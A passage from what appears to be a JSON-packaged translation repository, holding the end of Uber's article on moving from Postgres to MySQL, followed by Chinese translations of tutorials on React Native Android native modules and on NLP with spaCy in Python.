time](https://www.postgresql.org/docs/9.2/static/hot-standby.html#HOT-STANDBY-CONFLICT), Postgres kills that transaction.\n\nThis design means that replicas can routinely lag seconds behind master, and therefore it is easy to write code that results in killed transactions. This problem might not be apparent to application developers writing code that obscures where transactions start and end. For instance, say a developer has some code that has to email a receipt to a user. Depending on how it’s written, the code may implicitly have a database transaction that’s held open until after the email finishes sending. While it’s always bad form to let your code hold open database transactions while performing unrelated blocking I/O, the reality is that most engineers are not database experts and may not always understand this problem, especially when using an ORM that obscures low-level details like open transactions.\n\n#### Postgres Upgrades\n\nBecause replication records work at the physical level, it’s not possible to replicate data between different general availability releases of Postgres. A master database running Postgres 9.3 cannot replicate to a replica running Postgres 9.2, nor can a master running 9.2 replicate to a replica running Postgres 9.3.\n\nWe followed [these steps](https://www.postgresql.org/docs/current/static/pgupgrade.html) to upgrade from one Postgres GA release to another:\n\n*   Shut down the master database.\n*   Run a command called pg_upgrade on the master, which updates the master data in place. This can easily take many hours for a large database, and no traffic can be served from the master while this process takes place.\n*   Start the master again.\n*   Create a new snapshot of the master. This step completely copies all data from the master, so it also takes many hours for a large database.\n*   Wipe each replica and restore the new snapshot from the master to the replica.\n*   Bring each replica back into the replication hierarchy. Wait for the replica to fully catch up to all updates applied by the master while the replica was being restored.\n\nWe started out with Postgres 9.1 and successfully completed the upgrade process to move to Postgres 9.2\\. However, the process took so many hours that we couldn’t afford to do the process again. By the time Postgres 9.3 came out, Uber’s growth increased our dataset substantially, so the upgrade would have been even lengthier. For this reason, our legacy Postgres instances run Postgres 9.2 to this day, even though the current Postgres GA release is 9.5.\n\nIf you are running Postgres 9.4 or later, you could use something like [pglogical](http://2ndquadrant.com/en/resources/pglogical/), which implements a logical replication layer for Postgres. Using pglogical, you can replicate data among different Postgres releases, meaning that it’s possible to do an upgrade such as 9.4 to 9.5 without incurring significant downtime. This capability is still problematic because it’s not integrated into the Postgres mainline tree, and pglogical is still not an option for people running on older Postgres releases.\n\n### The Architecture of MySQL\n\nIn addition to explaining some of Postgres’s limitations, we also explain why MySQL is an important tool for newer Uber Engineering storage projects, such as Schemaless. In many cases, we found MySQL more favorable for our uses. To understand the differences, we examine MySQL’s architecture and how it contrasts with that of Postgres. We specifically analyze how MySQL works with the [InnoDB storage engine](http://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html). Not only do we use InnoDB at Uber; it’s perhaps the most popular MySQL storage engine.\n\n#### InnoDB On-Disk Representation\n\nLike Postgres, InnoDB supports advanced features like MVCC and mutable data. An exhaustive discussion of InnoDB’s on-disk format is outside the scope of this article; instead, we’ll focus on its core differences from Postgres.\n\nThe most important architectural difference is that while Postgres directly maps index records to on-disk locations, InnoDB maintains a secondary structure. Instead of holding a pointer to the on-disk row location (like the ctid does in Postgres), InnoDB secondary index records hold a pointer to the primary key value. Thus, a secondary index in MySQL associates index keys with primary keys:\n\n| **first** | **last** | **id (primary key)** |\n| :-: | :-: | :-: |\n| Ada | Lovelace | 7 |\n| Alan | Turing | 5 |\n| Blaise | Pascal | 1 |\n| Emmy | Noether | 3 |\n| Gottfried | Leibniz | 2 |\n| Henri | Poincaré | 8 |\n| Muhammad | al-Khwārizmī | 4 |\n| Srinivasa | Ramanujan | 6 |\n\nIn order to perform an index lookup on the (first, last) index, we actually need to do two lookups. The first lookup searches the table and finds the primary key for a record. Once the primary key is found, a second lookup searches the primary key index to find the on-disk location for the row.\n\nThis design means that InnoDB is at a slight disadvantage to Postgres when doing a secondary key lookup, since two indexes must be searched with InnoDB compared to just one for Postgres. However, because the data is normalized, row updates only need to update index records that are actually changed by the row update. Additionally, InnoDB typically does row updates in place. If old transactions need to reference a row for the purposes of MVCC MySQL copies the old row into a special area called the [rollback segment](https://dev.mysql.com/doc/refman/5.7/en/innodb-undo-logs.html).\n\nLet’s follow what happens when we update al-Khwārizmī’s birth year. If there is space, the birth year field in the row with id 4 is updated in place (in fact, this update always happens in place, as the birth year is an integer that occupies a fixed amount of space). The birth year index is also updated in place to reflect the new date. The old row data is copied to the rollback segment. The primary key index does not need to be updated, nor does the (first, last) name index. If we have a large number of indexes on this table, we still only have to update the indexes that actually index over the birth_year field. So say we have indexes over fields like signup_date, last_login_time, etc. We don’t need to update these indexes, whereas Postgres would have to.\n\nThis design also makes vacuuming and compaction more efficient. All of the rows that are eligible to be vacuumed are available directly in the rollback segment. By comparison, the Postgres autovacuum process has to do full table scans to identify deleted rows.\n\n![MySQL_Index_Property_](https://eng.uber.com/wp-content/uploads/2016/07/MySQL_Index_Property_-1024x497.png)\n\nMySQL uses an extra layer of indirection: secondary index records point to primary index records, and the primary index itself holds the on-disk row locations. If a row offset changes, only the primary index needs to be updated.\n\n\n#### Replication\n\nMySQL supports multiple [different replication modes](https://dev.mysql.com/doc/refman/5.7/en/replication-formats.html):\n\n*   Statement-based replication replicates logical SQL statements (e.g., it would literally replicate literal statements such as: UPDATE users SET birth_year=770 WHERE id = 4)\n*   Row-based replication replicates altered row records\n*   Mixed replication mixes these two modes\n\nThere are various tradeoffs to these modes. Statement-based replication is usually the most compact but can require replicas to apply expensive statements to update small amounts of data. On the other hand, row-based replication, akin to the Postgres WAL replication, is more verbose but results in more predictable and efficient updates on the replicas.\n\nIn MySQL, only the primary index has a pointer to the on-disk offsets of rows. This has an important consequence when it comes to replication. The MySQL replication stream only needs to contain information about logical updates to rows. The replication updates are of the variety “Change the timestamp for row _X_ from _T___1_ to _T___2._” Replicas automatically infer any index changes that need to be made as the result of these statements.\n\nBy contrast, the Postgres replication stream contains physical changes, such as “At disk offset 8,382,491, write bytes _XYZ_.” With Postgres, every physical change made to the disk needs to be included in the WAL stream. Small logical changes (such as updating a timestamp) necessitate many on-disk changes: Postgres must insert the new tuple and update all indexes to point to that tuple. Thus, many changes will be put into the WAL stream. This design difference means that the MySQL replication binary log is significantly more compact than the PostgreSQL WAL stream.\n\nHow each replication stream works also has an important consequence on how MVCC works with replicas. Since the MySQL replication stream has logical updates, replicas can have true MVCC semantics; therefore read queries on replicas won’t block the replication stream. By contrast, the Postgres WAL stream contains physical on-disk changes, so Postgres replicas cannot apply replication updates that conflict with read queries, so they can’t implement MVCC.\n\nMySQL’s replication architecture means that if bugs do cause table corruption, the problem is unlikely to cause a catastrophic failure. Replication happens at the logical layer, so an operation like rebalancing a [B-tree](https://en.wikipedia.org/wiki/B-tree) can never cause an index to become corrupted. A typical MySQL replication issue is the case of a statement being skipped (or, less frequently, applied twice). This may cause data to be missing or invalid, but it won’t cause a database outage.\n\nFinally, MySQL’s replication architecture makes it trivial to replicate between different MySQL releases. MySQL only increments its version if the replication format changes, which is unusual between various MySQL releases. MySQL’s logical replication format also means that on-disk changes in the storage engine layer do not affect the replication format. The typical way to do a MySQL upgrade is to apply the update to one replica at a time, and once you update all replicas, you promote one of them to become the new master. This can be done with almost zero downtime, and it simplifies keeping MySQL up to date.\n\n#### Other MySQL Design Advantages\n\nSo far, we’ve focused on the on-disk architecture for Postgres and MySQL. Some other important aspects of MySQL’s architecture cause it to perform significantly better than Postgres, as well.\n\n#### The Buffer Pool\n\nFirst, caching works differently in the two databases. Postgres allocates some memory for internal caches, but these caches are typically small compared to the total amount of memory on a machine. To increase performance, Postgres allows the kernel to automatically cache recently accessed disk data via the [page cache](https://en.wikipedia.org/wiki/Page_cache). For instance, our largest Postgres replicas have 768 GB of memory available, but only about 25 GB of that memory is actually [RSS memory](https://en.wikipedia.org/wiki/Resident_set_size) faulted in by Postgres processes. This leaves more than 700 GB of memory free to the Linux page cache.\n\nThe problem with this design is that accessing data via the page cache is actually somewhat expensive compared to accessing RSS memory. To look up data from disk, the Postgres process issues [lseek(2)](http://man7.org/linux/man-pages/man2/lseek.2.html) and [read(2)](http://man7.org/linux/man-pages/man2/read.2.html) system calls to locate the data. Each of these system calls incurs a context switch, which is more expensive than accessing data from main memory. In fact, Postgres isn’t even fully optimized in this regard: Postgres doesn’t make use of the [pread(2)](http://man7.org/linux/man-pages/man2/pwrite.2.html) system call, which coalesces seek + read operations into a single system call.\n\nBy comparison, the InnoDB storage engine implements its own LRU in something it calls the InnoDB [buffer pool](https://dev.mysql.com/doc/refman/5.7/en/innodb-buffer-pool.html). This is logically similar to the Linux page cache but implemented in userspace. While significantly more complicated than Postgres’s design, the InnoDB buffer pool design has some huge upsides:\n\n1.  It makes it possible to implement a custom LRU design. For instance, it’s possible to detect pathological access patterns that would blow out the LRU and prevent them from doing too much damage.\n2.  It results in fewer context switches. Data accessed via the InnoDB buffer pool doesn’t require any user/kernel context switches. The worst case behavior is the occurrence of a [TLB miss](https://en.wikipedia.org/wiki/Translation_lookaside_buffer), which is relatively cheap and can be minimized by using [huge pages](https://www.kernel.org/doc/Documentation/vm/hugetlbpage.txt).\n\n#### Connection Handling\n\nMySQL implements concurrent connections by spawning a thread-per-connection. This is relatively low overhead; each thread has some memory overhead for stack space, plus some memory allocated on the heap for connection-specific buffers. It’s not uncommon to scale MySQL to 10,000 or so concurrent connections, and in fact we are close to this connection count on some of our MySQL instances today.\n\nPostgres, however, use a process-per-connection design. This is significantly more expensive than a thread-per-connection design for a number of reasons. Forking a new process occupies more memory than spawning a new thread. Additionally, IPC is much more expensive between processes than between threads. Postgres 9.2 uses [System V IPC](http://man7.org/linux/man-pages/man7/svipc.7.html) primitives for IPC instead of lightweight [futexes](http://man7.org/linux/man-pages/man2/futex.2.html) when using threads. Futexes are faster than System V IPC because in the common case where the futex is uncontended, there’s no need to make a context switch.\n\nBeside the memory and IPC overhead associated with Postgres’s design, Postgres seems to simply have poor support for handling large connection counts, even when there is sufficient memory available. We’ve had significant problems scaling Postgres past a few hundred active connections. While [the documentation is not very specific about why](https://wiki.postgresql.org/wiki/Number_Of_Database_Connections), it does strongly recommend employing an out-of-process connection pooling mechanism to scale to large connection counts with Postgres. Accordingly, using [pgbouncer](https://pgbouncer.github.io/) to do connection pooling with Postgres has been generally successful for us. However, we have had occasional application bugs in our backend services that caused them to open more active connections (usually “idle in transaction” connections) than the services ought to be using, and these bugs have caused extended downtimes for us.\n\n### Conclusion\n\nPostgres served us well in the early days of Uber, but we ran into significant problems scaling Postgres with our growth. Today, we have some legacy Postgres instances, but the bulk of our databases are either built on top of MySQL (typically using our [Schemaless](https://eng.uber.com/schemaless-part-one/) layer) or, in some specialized cases, NoSQL databases like Cassandra. We are generally quite happy with MySQL, and we may have more blog articles in the future explaining some of its more advanced uses at Uber.\n\n_Evan Klitzke is a staff [software engineer](https://www.uber.com/careers/list/?city=all&country=all&keywords=software+engineer&subteam=all&team=engineering) within [Uber Engineering](https://people.uber.com/eng/)‘s core infrastructure group. He is also a [database](https://eng.uber.com/tag/database/) enthusiast and joined Uber as an engineering early bird in September 2012._\n"
  },
  {
    "path": "TODO/native-modules-for-react-native-android.md",
    "content": "> * 原文地址：[Native Modules for React Native Android](https://shift.infinite.red/native-modules-for-react-native-android-ac05dbda800d#.cdjn1o88w)\n* 原文作者：[Ryan Linton](https://shift.infinite.red/@ryanlntn)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XHShirley](https://github.com/XHShirley)\n* 校对者：[zhouzihanntu](https://github.com/zhouzihanntu), [PhxNirvana](https://github.com/phxnirvana)\n\n\n# React Native Android 的 native 模块\n\n\n\n\n\n当我们使用 React Native 开发一个安卓应用时，可能需要访问一个还没有对应的 React Native 模块的 API。我们可以通过用 Java 编写自己的 native 模块并向 React Native 选择性地开放接口来解决。让我们一起来试一试。\n\n#### 我们将要做的事\n\n\n在写这篇文章的时候，React Native 包含 ImagePickerIOS 组件却没有对应的安卓 ImagePicker 组件。我们打算创建一个功能行为大致跟 ImagePickerIOS 一样的简单的 ImagePicker 组件。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*HJh6eG8DnlT85X2mG86ryw.gif)\n\n\n\n\n**根据下列步骤写一个安卓的 native 模块**\n\n1. 创建一个 **ReactPackage** 对象，这个对象可以把许多模块组合到一起（包括 native 和 JavaScript)。在 **MainActivity** 中把它写进 **getPackages** 方法中。\n2. 创建一个继承 **ReactContextBaseJavaModule** 的 Java 类来实现目标功能，并将这个类和我们的 **ReactPackage** 绑定。\n3. 在上面创建的类里重写 **getName** 方法。它返回的名字会成为 JavaScript 中的 native 模块的名字。\n4. 通过添加注解 **@ReactMethod** 的方式向 JavaScript 暴露想要的公有方法。\n5. 最后，在你的 JavaScript 代码中导入 **NativeModules** 里的模块并调用这些方法。\n\n让我们来看看实际中时什么样子。\n\n\n#### 创建一个 ReactPackage\n\n\n启动 AndroidStudio 并逐层找到 **MyApp/android/app/src/main/java/com/myapp/MainActivity.java** 文件。它看起来差不多应该是下面这个样子：\n\n    package com.myapp;\n\n    import com.facebook.react.ReactActivity;\n    import com.facebook.react.ReactPackage;\n    import com.facebook.react.shell.MainReactPackage;\n    \n    import java.util.Arrays;\n    import java.util.List;\n    \n    public class MainActivity extends ReactActivity {\n        @Override\n        protected String getMainComponentName() {\n        \treturn \"MyApp\";\n        }\n    \n        @Override\n        protected boolean getUseDeveloperSupport() {\n        \treturn BuildConfig.DEBUG;\n        }\n        \n        @Override\n        protected List getPackages() {\n        \treturn Arrays.asList(new MainReactPackage());\n        }\n    }\n\n\n\n\n\n\n我们准备乐观地把我们还未定义的包引进来。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\timport com.myapp.imagepicker.*; // 导入包\n\n\tpublic class MainActivity extends ReactActivity { \n\n\t\t@Override protected List getPackages() { \n\t\t\treturn Arrays.asList(new MainReactPackage(), new ImagePickerPackage()); // 把它包括进 getPackages 里 \n\t\t}\n\t\t\n\t}\n\n\n\n\n\n\n\n\n\n\n\n\n现在，我们才来真正定义这个包。我们会为它创建一个名为 **imagepicker** 的新目录并把下面的代码添加进 **ImagePickerPackage** ：\n\n    package com.myapp.imagepicker;\n\n    import com.facebook.react.ReactPackage;\n    import com.facebook.react.bridge.JavaScriptModule;\n    import com.facebook.react.bridge.NativeModule;\n    import com.facebook.react.bridge.ReactApplicationContext;\n    import com.facebook.react.uimanager.ViewManager;\n    \n    import java.util.ArrayList;\n    import java.util.Collections;import java.util.List;\n    \n    public class ImagePickerPackage implements ReactPackage {\n        @Override\n        public List createNativeModules(ReactApplicationContext reactContext) {\n        \tList modules = new ArrayList<>();\n    \n        \tmodules.add(new ImagePickerModule(reactContext));\n    \n        \treturn modules;\n    \t}\n    \n        @Override\n        public List<Class> createJSModules() {\n        \treturn Collections.emptyList();\n        }\n    \n        @Override\n        public List createViewManagers(ReactApplicationContext reactContext) {\n        \treturn Collections.emptyList();\n        }\n    }\n\n\n既然我们已经创建了一个包并且也把它放进了 **MainActivity** 。我们现在可以开始定义自己的模块了。\n\n#### 创建一个 **ReactContextBaseJavaModule** 模块\n\n\n我们将开始创建一个继承 **ReactContextBaseJavaModule** 的类 **ImagePickerModule**.\n\n\n\n\n\n    package com.myapp.imagepicker;\n\n    import com.facebook.react.bridge.ReactContextBaseJavaModule;\n\n    public class ImagePickerModule extends ReactContextBaseJavaModule {\n        public ImagePickerModule(ReactApplicationContext reactContext) {\n        \tsuper(reactContext);\n    \t}\n    }\n\n\n这是一个好的开端，但为了让 React Native 在 **NativeModules** 中找到我们的模块，我们需要重写 **getName** 方法。\n\n\n\n\t@Override \n\tpublic String getName() { \n\t\treturn \"ImagePicker\"; \n\t}\n\n\n现在，我们有可以导入到 JavaScript 代码的功能完备的 native 模块了。让我们再让它做点有趣的事情。\n\n#### 暴露方法\n\n**ImagePickerIOS** 中定义了一个以 config 对象以及成功和取消两个回调对象为参数的 **openSelectDialog** 方法。让我们在 **ImagePickerModule** 中也定义一个类似的方法。\n\n    import com.facebook.react.bridge.Callback;\n    import com.facebook.react.bridge.ReadableMap;\n    \n    public class ImagePickerModule extends ReactContextBaseJavaModule {\n        @ReactMethod\n        public void openSelectDialog(ReadableMap config, Callback successCallback, Callback cancelCallback) {\n        \tActivity currentActivity = getCurrentActivity();\n    \n        \tif (currentActivity == null) {\n        \t\tcancelCallback.invoke(\"Activity doesn't exist\");\n        \t\treturn;\n    \t\t}\n    \t}\n    }\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n这里我们从 React Native 的 bridge 包导入分别对应 JavaScript **object** 和 **function** 的 **Callback** 和 **ReadableMap** 类。我们给这个方法添加注解 **@ReactMethod，**作为 **ImagePicker** 模块的一部分暴露给 JavaScript. 在这个方法体里， 我们获取当前的 activity ，如果它不存在的话也可以调用取消回调。现在我们就有一个能工作的方法了，但它还没有做任何有趣的事情。让我们给它添加打开画册的功能吧。\n\n    public class ImagePickerModule extends ReactContextBaseJavaModule {\n    private static final int PICK_IMAGE = 1;\n    \n    private Callback pickerSuccessCallback;\n    private Callback pickerCancelCallback;\n    \n    @ReactMethod\n    public void openSelectDialog(ReadableMap config, Callback successCallback, Callback cancelCallback) {\n        Activity currentActivity = getCurrentActivity();\n    \n        if (currentActivity == null) {\n            cancelCallback.invoke(\"Activity doesn't exist\");\n            return;\n        }\n    \n        pickerSuccessCallback = successCallback;\n        pickerCancelCallback = cancelCallback;\n    \n        try {\n            final Intent galleryIntent = new Intent();\n    \n            galleryIntent.setType(\"image/*\");\n            galleryIntent.setAction(Intent.ACTION_GET_CONTENT);\n    \n            final Intent chooserIntent = Intent.createChooser(galleryIntent, \"Pick an image\");\n    \n            currentActivity.startActivityForResult(chooserIntent, PICK_IMAGE);\n        } catch (Exception e) {\n            cancelCallback.invoke(e);\n        }\n    }\n\n首先，我们设置回调作为实例变量，原因之后会阐明。接着创建和配置我们的 **Intent** 并传入 **startActivityForResult**。最后，我们用 try/catch 语句块把整段代码囊括起来，处理期间可能产生的异常。\n\n现在当你在 **ImagePicker** 调用 **openSelectDialog** 时应该看到一个图片画册。但是当选择一个图片时，画册会不做任何操作并消失。为了能返回图片数据，我们需要在模块中处理 activity 的结果。\n\n首先我们需要在我们的 **react** 代码里添加一个 **activity** 的事件监听函数：\n\n\n\n\tpublic class ImagePickerModule extends ReactContextBaseJavaModule implements ActivityEventListener { \n\t\tpublic ImagePickerModule(ReactApplicationContext reactContext) { \n\t\t\tsuper(reactContext);\n\t\t\treactContext.addActivityEventListener(this); \n\t\t} \n\t}\n\n既然我们可以监听 activity 事件，我们就可以通过处理 **onActivityResult** 返回我们想要的图片数据。\n\n    @Override\n    public void onActivityResult(final int requestCode, final int resultCode, final Intent intent) {\n    \tif (pickerSuccessCallback != null) {\n    \t\tif (resultCode == Activity.RESULT_CANCELED) {\n    \t\t\tpickerCancelCallback.invoke(\"ImagePicker was cancelled\");\n    \t\t} else if (resultCode == Activity.RESULT_OK) {\n    \t\t\tUri uri = intent.getData();\n    \n    \t\t\tif (uri == null) {\n    \t\t\t\tpickerCancelCallback.invoke(\"No image data found\");\n    \t\t\t} else {\n    \t\t\t    try {\n    \t\t\t    \tpickerSuccessCallback.invoke(uri);\n    \t\t\t    } catch (Exception e) {\n    \t\t\t    \tpickerCancelCallback.invoke(\"No image data found\");\n    \t\t    \t}\n    \t    \t}\n        \t}\n    \t}\n    }\n\n\n\n\n\n\n有了这段代码，当我们调用 **openSelectDialog** 时，应该能持续从成功回调中接收到图片的 URI。\n\n\n\n\n\n    NativeModules.ImagePicker.openSelectDialog(\n    {}, // no config yet \n    (uri) => { console.log(uri) },\n    (error) => { console.log(error) }\n    )\n\n\n为了进一步模仿 **ImagePickerIOS** 的行为，我们可以建立设置选项，允许用户选择图片，视频或者同时支持直接开启摄像头。因为这些功能都是基于相同的概念，前面已经演示过了，所以就作为练习留给读者吧。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 特别鸣谢\n\n多亏 [Infinite Red](http://infinite.red/) 的技术主管 [Gant Laborde](https://medium.com/u/6ca0fe37eac1) 的帮助和支持，我才能写出这篇文章。他的丰富知识帮了我大忙。\n\n### 关于 Ryan Linton\n\nRyan Linton 是 [Infinite Red](http://infinite.red/) 的资深软件工程师。他喜欢在把他们的项目带到生活中的同时与客户密切合作。在不折腾前端样式和后台数据库的时候，他会到世界各地去旅行，或者试图从他那飞速增长的书单上划去一两本（已经读过的书）。\n\n\n\n\n\n"
  },
  {
    "path": "TODO/natural-language-processing-made-easy-using-spacy-in-python.md",
    "content": "\n> * 原文地址：[Natural Language Processing Made Easy – using SpaCy (in Python)](https://www.analyticsvidhya.com/blog/2017/04/natural-language-processing-made-easy-using-spacy-%E2%80%8Bin-python/)\n> * 原文作者：[Shivam Bansal](https://www.analyticsvidhya.com/blog/author/shivam5992/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/natural-language-processing-made-easy-using-spacy-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO/natural-language-processing-made-easy-using-spacy-in-python.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[yzgyyang](https://github.com/yzgyyang),[sqrthree](https://github.com/sqrthree)\n\n# 使用 Python+spaCy 进行简易自然语言处理\n\n## 简介\n\n自然语言处理（NLP）是人工智能领域最重要的部分之一。它在许多智能应用中担任了关键的角色，例如聊天机器人、正文提取、多语翻译以及观点识别等应用。业界 NLP 相关的公司都意识到了，处理非结构文本数据时，不仅要看正确率，还需要注意是否能快速得到想要的结果。\n\nNLP 是一个很宽泛的领域，它包括了文本分类、实体识别、机器翻译、问答系统、概念识别等子领域。在我最近的一篇[文章](https://www.analyticsvidhya.com/blog/2017/01/ultimate-guide-to-understand-implement-natural-language-processing-codes-in-python/)中，我探讨了许多用于实现 NLP 的工具与组件。在那篇文章中，我更多的是在描述[NLTK](http://www.nltk.org/)（Natural Language Toolkit）这个伟大的库。\n\n在这篇文章中，我会将 spaCy —— 这个现在最强大、最先进的 NLP python 库分享给你们。\n\n** **\n\n## 内容提要\n\n1. spaCy 简介及安装方法\n2. spaCy 的管道与属性\n\t- Tokenization\n\t- 词性标注\n\t- 实体识别\n\t- 依存句法分析\n\t- 名词短语\n\n3. 集成词向量计算\n4. 使用 spaCy 进行机器学习\n5. 与 NLTK 和 CoreNLP 对比\n\n** **\n\n## 1. spaCy 简介及安装方法\n\n### 1.1 简介\n\nspaCy 由 cython（Python 的 C 语言拓展，旨在让 python 程序达到如同 C 程序一样的性能）编写，因此它的运行效率非常高。spaCy 提供了一系列简洁的 API 方便用户使用，并基于已经训练好的机器学习与深度学习模型实现底层。\n\n** **\n\n### 1.2 安装\n\nspaCy 及其数据和模型可以通过 pip 和安装工具轻松地完成安装。使用下面的命令在电脑中安装 spaCy：\n\n    sudo pip install spacy\n\n如果你使用的是 Python3，请用 “pip3” 代替 “pip”。\n\n或者你也可以在 [这儿](https://pypi.python.org/pypi/spacy) 下载源码，解压后运行下面的命令安装：\n\n    python setup.py install\n\n在安装好 spacy 之后，请运行下面的命令以下载所有的数据集和模型：\n\n    python -m spacy.en.download all\n\n一切就绪，现在你可以自由探索、使用 spacy 了。\n\n\n\n## 2. spaCy 的管道（Pipeline）与属性（Properties）\n\nspaCy 的使用，以及其各种属性，是通过创建管道实现的。在加载模型的时候，spaCy 会将管道创建好。在 spaCy 包中，提供了各种各样的[模块](https://github.com/explosion/spacy-models/)，这些模块中包含了各种关于词汇、训练向量、语法和实体等用于语言处理的信息。\n\n下面，我们会加载默认的模块（english-core-web 模块）。\n\n    import spacy\n    nlp = spacy.load(“en”)\n\n“nlp” 对象用于创建 document、获得 linguistic annotation 及其它的 nlp 属性。首先我们要创建一个 document，将文本数据加载进管道中。我使用了来自猫途鹰网的旅店评论数据。这个数据文件可以在[这儿](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2017/04/04080929/Tripadvisor_hotelreviews_Shivambansal.txt)下载。\n\n    document = unicode(open(filename).read().decode('utf8'))\n    document = nlp(document)\n\n这个 document 现在是 spacy.english 模型的一个 class，并关联上了许多的属性。可以使用下面的命令列出所有 document（或 token）的属性：\n\n    dir(document)\n    >> [ 'doc', 'ents', … 'mem']\n\n它会输出 document 中各种各样的属性，例如：token、token 的 index、词性标注、实体、向量、情感、单词等。下面让我们会对其中的一些属性进行一番探究。\n\n\n\n### 2.1 Tokenization\n\nspaCy 的 document 可以在 tokenized 过程中被分割成单句，这些单句还可以进一步分割成单词。你可以通过遍历文档来读取这些单词：\n\n    # document 的首个单词\n    document[0]\n    >> Nice\n    \n    # document 的最后一个单词  \n    document[len(document)-5]\n    >> boston\n    \n    # 列出 document 中的句子\n    list(document.sents)\n    >> [ Nice place Better than some reviews give it credit for.,\n     Overall, the rooms were a bit small but nice.,\n    ...\n    Everything was clean, the view was wonderful and it is very well located (the Prudential Center makes shopping and eating easy and the T is nearby for jaunts out and about the city).]\n\n\n\n### 2.2 词性标注(POS Tag)\n\n词性标注即标注语法正确的句子中的词语的词性。这些标注可以用于信息过滤、统计模型，或者基于某些规则进行文本解析。\n\n来看看我们的 document 中所有的词性标注：\n\n    # 获得所有标注\n    all_tags = {w.pos: w.pos_ for w in document}\n    >> {97:  u'SYM', 98: u'VERB', 99: u'X', 101: u'SPACE', 82: u'ADJ', 83: u'ADP', 84: u'ADV', 87: u'CCONJ', 88: u'DET', 89: u'INTJ', 90: u'NOUN', 91: u'NUM', 92: u'PART', 93: u'PRON', 94: u'PROPN', 95: u'PUNCT'}\n    \n    # document 中第一个句子的词性标注\n    for word in list(document.sents)[0]:  \n        print word, word.tag_\n    >> ( Nice, u'JJ') (place, u'NN') (Better, u'NNP') (than, u'IN') (some, u'DT') (reviews, u'NNS') (give, u'VBP') (it, u'PRP') (creit, u'NN') (for, u'IN') (., u'.')\n\n\n\n来看一看 document 中的最常用词汇。我已经事先写好了预处理和文本数据清洗的函数。\n\n    #一些参数定义\n    noisy_pos_tags = [“PROP”]\n    min_token_length = 2\n    \n    #检查 token 是不是噪音的函数\n    def isNoise(token):     \n        is_noise = False\n        if token.pos_ in noisy_pos_tags:\n            is_noise = True\n        elif token.is_stop == True:\n            is_noise = True\n        elif len(token.string) <= min_token_length:\n            is_noise = True\n        return is_noise\n    def cleanup(token, lower = True):\n        if lower:\n           token = token.lower()\n        return token.strip()\n    \n    # 评论中最常用的单词\n    from collections import Counter\n    cleaned_list = [cleanup(word.string) for word in document if not isNoise(word)]\n    Counter(cleaned_list) .most_common(5)\n    >> [( u'hotel', 683), (u'room', 652), (u'great', 300),  (u'sheraton', 285), (u'location', 271)]\n\n\n\n### 2.3 实体识别\n\nspaCy 拥有一个快速实体识别模型，这个实体识别模型能够从 document 中找出实体短语。它能识别各种类型的实体，例如人名、位置、机构、日期、数字等。你可以通过“.ents”属性来读取这些实体。\n\n下面让我们来获取我们 document 中所有类型的命名实体：\n\n    labels = set([w.label_ for w in document.ents])\n    for label in labels:\n        entities = [cleanup(e.string, lower=False) for e in document.ents if label==e.label_]\n        entities = list(set(entities))\n        print label,entities\n\n\n\n### 2.4 依存句法分析\n\nspaCy 最强大的功能之一就是它可以通过调用轻量级的 API 来实现又快又准确的依存分析。这个分析器也可以用于句子边界检测以及区分短语块。依存关系可以通过“.children”、“.root”、“.ancestor”等属性读取。\n\n    # 取出所有句中包含“hotel”单词的评论\n    hotel = [sent for sent in document.sents if 'hotel' in sent.string.lower()]\n    \n    # 创建依存树\n    sentence = hotel[2] for word in sentence:\n    print word, ': ', str(list(word.children))\n    >> A :  []  cab :  [A, from]\n    from :  [airport, to]\n    the :  []\n    airport :  [the]\n    to :  [hotel]\n    the :  [] hotel :  \n    [the] can :  []\n    be :  [cab, can, cheaper, .]\n    cheaper :  [than] than :  \n    [shuttles]\n    the :  []\n    shuttles :  [the, depending]\n    depending :  [time] what :  []\n    time :  [what, of] of :  [day]\n    the :  [] day :  \n    [the, go] you :  \n    []\n    go :  [you]\n    . :  []\n\n解析所有居中包含“hotel”单词的句子的依存关系，并检查对于 hotel 人们用了哪些形容词。我创建了一个自定义函数，用于分析依存关系并进行相关的词性标注。\n\n    # 检查修饰某个单词的所有形容词\n    def pos_words (sentence, token, ptag):\n        sentences = [sent for sent in sentence.sents if token in sent.string]     \n        pwrds = []\n        for sent in sentences:\n            for word in sent:\n                if character in word.string:\n                       pwrds.extend([child.string.strip() for child in word.children\n                                                          if child.pos_ == ptag] )\n        return Counter(pwrds).most_common(10)\n    \n    pos_words(document, 'hotel', “ADJ”)\n    >> [(u'other', 20), (u'great', 10), (u'good', 7), (u'better', 6), (u'nice', 6), (u'different', 5), (u'many', 5), (u'best', 4), (u'my', 4), (u'wonderful', 3)]\n\n\n\n### 2.5 名词短语（NP）\n\n依存树也可以用来生成名词短语：\n\n    # 生成名词短语\n    doc = nlp(u'I love data science on analytics vidhya')\n    for np in doc.noun_chunks:\n        print np.text, np.root.dep_, np.root.head.text\n    >> I nsubj love\n       data science dobj love\n       analytics pobj on\n\n\n\n## 3. 集成词向量\n\nspaCy 提供了内置整合的向量值算法，这些向量值可以反映词中的真正表达信息。它使用 [GloVe](https://nlp.stanford.edu/projects/glove/) 来生成向量。GloVe 是一种用于获取表示单词的向量的无监督学习算法。\n\n让我们创建一些词向量，然后对其做一些有趣的操作吧：\n\n    from numpy import dot\n    from numpy.linalg import norm\n    from spacy.en import English\n    parser = English()\n    \n    # 生成“apple”的词向量 \n    apple = parser.vocab[u'apple']\n    \n    # 余弦相似性计算函数\n    cosine = lambda v1, v2: dot(v1, v2) / (norm(v1) * norm(v2))\n    others = list({w for w in parser.vocab if w.has_vector and w.orth_.islower() and w.lower_ != unicode(\"apple\")})\n    \n    # 根据相似性值进行排序\n    others.sort(key=lambda w: cosine(w.vector, apple.vector))\n    others.reverse()\n\n\n    print \"top most similar words to apple:\"\n    for word in others[:10]:\n        print word.orth_\n    >> apples iphone f ruit juice cherry lemon banana pie mac orange\n\n\n\n## 4. 使用 spaCy 